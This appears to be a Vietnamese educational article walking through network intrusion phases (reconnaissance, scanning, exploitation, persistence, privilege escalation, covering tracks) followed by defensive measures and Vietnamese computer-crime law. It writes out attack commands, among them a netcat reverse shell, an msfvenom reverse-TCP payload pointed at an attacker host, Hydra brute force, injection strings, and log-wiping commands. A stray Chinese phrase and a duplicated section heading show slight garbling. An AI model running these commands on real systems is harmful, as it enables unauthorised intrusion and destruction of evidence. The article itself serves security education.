Các Bước Xâm Nhập Máy Tính Trên Mạng

Đánh giá mức độ nguy hiểm khi thực hiện các bước xâm nhập máy tính trên mạng dựa trên các thông số kỹ thuật

Hướng Dẫn Chi Tiết: Các Bước Xâm Nhập Máy Tính Trên Mạng (Dành Cho Mục Đích Nghiên Cứu Bảo Mật)

Lưu ý quan trọng: Bài viết này chỉ mang tính chất giáo dục và nghiên cứu về bảo mật mạng. Việc thực hiện bất kỳ hình thức xâm nhập nào vào hệ thống máy tính mà không được phép là bất hợp pháp và có thể dẫn đến hậu quả pháp lý nghiêm trọng. Chúng tôi khuyến nghị chỉ thực hành trên môi trường được phép (như hackthebox.com, tryhackme.com) hoặc trong khuôn khổ các chương trình bug bounty chính thức.

1. Giai Đoạn Thu Thập Thông Tin (Reconnaissance)

Đây là bước đầu tiên và quan trọng nhất trong quy trình xâm nhập. Mục tiêu là thu thập càng nhiều thông tin càng tốt về mục tiêu mà không để lại dấu vết.

1.1. Thu thập thông tin công khai (Passive Reconnaissance)

• WHOIS Lookup: Sử dụng công cụ như whois domain.com để lấy thông tin đăng ký tên miền, địa chỉ IP, và thông tin liên hệ.
• DNS Enumeration: Công cụ như nslookup, dig, hoặc dnsrecon giúp phát hiện các bản ghi DNS (MX, TXT, A, AAAA).
• Search Engines: Sử dụng Google Dorks (ví dụ: site:target.com filetype:pdf) để tìm tài liệu nhạy cảm.
• Social Media: LinkedIn, Facebook có thể tiết lộ thông tin về nhân viên, cấu trúc tổ chức.

1.2. Quét chủ động (Active Reconnaissance)

Ở giai đoạn này, kẻ tấn công bắt đầu tương tác trực tiếp với mục tiêu:

• Network Scanning: Sử dụng Nmap (nmap -sV -O -T4 target.com) để quét cổng mở, phiên bản dịch vụ, và hệ điều hành.
• Vulnerability Scanning: Công cụ như Nessus hoặc OpenVAS giúp phát hiện lỗ hổng đã biết.
• Port Knocking: Kỹ thuật ẩn dịch vụ bằng cách yêu cầu một chuỗi kết nối cụ thể đến các cổng.

Công Cụ	Mục Đích	Ví Dụ Command
Nmap	Quét cổng và dịch vụ	nmap -sS -Pn -n -T4 192.168.1.1
Nikto	Quét lỗ hổng web server	nikto -h http://target.com
theHarvester	Thu thập email và subdomain	theHarvester -d target.com -b all
Maltego	Phân tích mối quan hệ dữ liệu	GUI-based

2. Giai Đoạn Quét (Scanning)

Sau khi thu thập đủ thông tin, kẻ tấn công sẽ tiến hành quét sâu hơn để xác định các điểm yếu cụ thể.

2.1. Quét cổng (Port Scanning)

Mục tiêu là xác định các cổng mở và dịch vụ đang chạy:

• TCP Connect Scan: Kết nối đầy đủ đến cổng (nmap -sT).
• SYN Scan: Quét “bán mở” nhanh hơn (nmap -sS).
• UDP Scan: Quét các dịch vụ UDP (nmap -sU).

2.2. Quét lỗ hổng (Vulnerability Scanning)

Sử dụng cơ sở dữ liệu lỗ hổng như CVE để xác định các lỗ hổng có thể khai thác:

• OpenVAS: Công cụ quét lỗ hổng mã nguồn mở.
• Nexpose: Giải pháp quét lỗ hổng của Rapid7.
• Burp Suite: Công cụ kiểm tra bảo mật ứng dụng web.

2.3. Phân tích dịch vụ (Service Fingerprinting)

Xác định chính xác phiên bản của dịch vụ để tìm kiếm exploit phù hợp:

nmap -sV --version-intensity 9 192.168.1.1

3. Giai Đoạn Truy Cập (Gaining Access)

Đây là giai đoạn khai thác các lỗ hổng để lấy quyền truy cập vào hệ thống.

3.1. Khai thác lỗ hổng (Exploitation)

Sử dụng các exploit có sẵn từ các nguồn như:

• Exploit-DB: https://www.exploit-db.com
• Metasploit Framework: Công cụ khai thác tự động hóa.
• Searchsploit: Tìm kiếm exploit offline (searchsploit apache 2.4.49).

Lỗ Hổng	Mô Tả	CVSS Score	Exploit Có Sẵn
EternalBlue (CVE-2017-0144)	Lỗ hổng SMB trên Windows	9.8	Có (Metasploit)
Heartbleed (CVE-2014-0160)	Lỗ hổng OpenSSL	7.5	Có
Shellshock (CVE-2014-6271)	Lỗ hổng Bash	10.0	Có
Log4Shell (CVE-2021-44228)	Lỗ hổng Log4j	10.0	Có

3.2. Tấn công mật khẩu (Password Attacks)

• Brute Force: Dùng Hydra (hydra -l admin -P wordlist.txt ssh://target.com).
• Dictionary Attack: Sử dụng từ điển mật khẩu phổ biến.
• Rainbow Tables: Tấn công vào bản mã băm (hash).
• Phishing: Lừa đảo để lấy thông tin đăng nhập.

3.3. Khai thác lỗ hổng ứng dụng web

Các lỗ hổng phổ biến trong ứng dụng web:

• SQL Injection: Chèn câu lệnh SQL (' OR '1'='1).
• XSS (Cross-Site Scripting): Chèn mã JavaScript (<script>alert(1)</script>).
• CSRF (Cross-Site Request Forgery): Lừa nạn nhân thực hiện hành động không mong muốn.
• File Inclusion: Tải tệp độc hại (../../../../etc/passwd).

4. Giai Đoạn Duy Trì Truy Cập (Maintaining Access)

Sau khi xâm nhập thành công, kẻ tấn công sẽ cố gắng duy trì quyền truy cập lâu dài.

4.1. Tạo backdoor

• Netcat: Mở cổng ngược (nc -lvnp 4444 và nc -e /bin/bash target-ip 4444).
• Metasploit Payloads: Tạo payload tùy chỉnh (msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe > shell.exe).
• Cron Jobs: Thêm tác vụ định kỳ trên Linux (crontab -e).
• Startup Programs: Thêm chương trình khởi động cùng Windows.

4.2. Leo thang đặc quyền (Privilege Escalation)

Mục tiêu là lấy quyền admin/root:

• Linux:
  • Khai thác SUID binaries (find / -perm -4000 2>/dev/null).
  • Khai thác cron jobs chạy với quyền root.
  • Khai thác kernel (DirtyCow, etc.).
• Windows:
  • Khai thác dịch vụ yếu (wmic service get name,startname).
  • Khai thác Token Impersonation (Juicy Potato).
  • Khai thác Registry Weaknesses.

4.3. Che dấu dấu vết (Covering Tracks)

• Xóa logs: clearev trên Windows hoặc history -c trên Linux.
• Sử dụng rootkits: Ẩn tiến trình và tệp tin.
• Proxy Chains: Che giấu địa chỉ IP thực (proxychains nmap target.com).
• VPN/TOR: Ẩn danh khi tấn công.

5. Giai Đoạn Che Giấu (Covering Tracks)

Đây là bước cuối cùng để đảm bảo không để lại bằng chứng.

• Xóa nhật ký hệ thống:
  • Windows: wevtutil cl System, wevtutil cl Security
  • Linux: echo "" > /var/log/auth.log
• Thay đổi timestamp: Sử dụng touch để thay đổi thời gian修改文件的时间戳.
• Mã hóa traffic: Sử dụng HTTPS, SSH tunneling.
• Sử dụng “living off the land” techniques: Chỉ sử dụng các công cụ có sẵn trên hệ thống (PowerShell, WMI, etc.).

Phòng Thủ Chống Lại Các Cuộc Tấn Công Mạng

Để bảo vệ hệ thống khỏi các cuộc xâm nhập, các biện pháp sau đây nên được áp dụng:

1. Biện Pháp Kỹ Thuật

• Tường lửa (Firewall): Cấu hình chính sách chặt chẽ, chỉ mở cổng cần thiết.
• Hệ thống phát hiện xâm nhập (IDS/IPS): Snort, Suricata.
• Cập nhật phần mềm: Áp dụng bản vá lỗi hổng kịp thời.
• Mã hóa dữ liệu: Sử dụng BitLocker (Windows) hoặc LUKS (Linux).
• Segment mạng: Chia mạng thành các phân đoạn nhỏ để hạn chế sự lan truyền của tấn công.

2. Biện Pháp Quản Lý

• Chính sách mật khẩu mạnh: Yêu cầu mật khẩu phức tạp và thay đổi định kỳ.
• Xác thực đa yếu tố (MFA): Áp dụng cho tất cả tài khoản nhạy cảm.
• Đào tạo nhận thức bảo mật: Huấn luyện nhân viên nhận biết email lừa đảo.
• Kế hoạch ứng phó sự cố: Chuẩn bị sẵn sàng cho trường hợp bị xâm nhập.

3. Giám Sát và Phát Hiện

• SIEM (Security Information and Event Management): Splunk, ELK Stack.
• Log Management: Lưu trữ và phân tích nhật ký hệ thống.
• Network Traffic Analysis: Sử dụng Wireshark, Zeek.
• Honeypots: Bẫy kẻ tấn công với hệ thống giả.

Pháp Lý và Đạo Đức Trong Bảo Mật Mạng

Việc xâm nhập hệ thống máy tính mà không được phép là vi phạm pháp luật ở hầu hết các quốc gia. Tại Việt Nam, hành vi này có thể bị xử lý theo:

• Bộ luật Hình sự 2015 (sửa đổi 2017):
  • Điều 288: “Tội xâm nhập trái phép vào mạng máy tính, mạng viễn thông hoặc phương tiện điện tử của người khác”.
  • Điều 289: “Tội phá hủy, làm hư hỏng dữ liệu máy tính, mạng máy tính, mạng viễn thông, phương tiện điện tử”.
  • Điều 290: “Tội cản trở hoặc gây rối loạn hoạt động của mạng máy tính, mạng viễn thông, phương tiện điện tử”.
• Luật An toàn thông tin mạng 2015: Quy định về bảo vệ hệ thống thông tin quan trọng.

Hình phạt có thể lên đến 7 năm tù hoặc phạt tiền lên đến 1 tỷ đồng tùy theo mức độ nghiêm trọng.

Để thực hành hợp pháp, bạn có thể tham gia:

• Các nền tảng thực hành như Hack The Box.
• Chương trình Bug Bounty của các công ty (Google, Facebook, Microsoft).
• Các cuộc thi bảo mật như CTF (Capture The Flag).
• Lấy chứng chỉ bảo mật như CEH, OSCP, CISSP.

Nguồn Tham Khảo Chính Thức:

CISA (Cybersecurity & Infrastructure Security Agency) – Cơ quan An ninh Mạng và Cơ sở Hạ tầng Hoa Kỳ NIST Cybersecurity Framework – Khung bảo mật của Viện Tiêu chuẩn và Công nghệ Quốc gia Hoa Kỳ IETF (Internet Engineering Task Force) – Tổ chức tiêu chuẩn Internet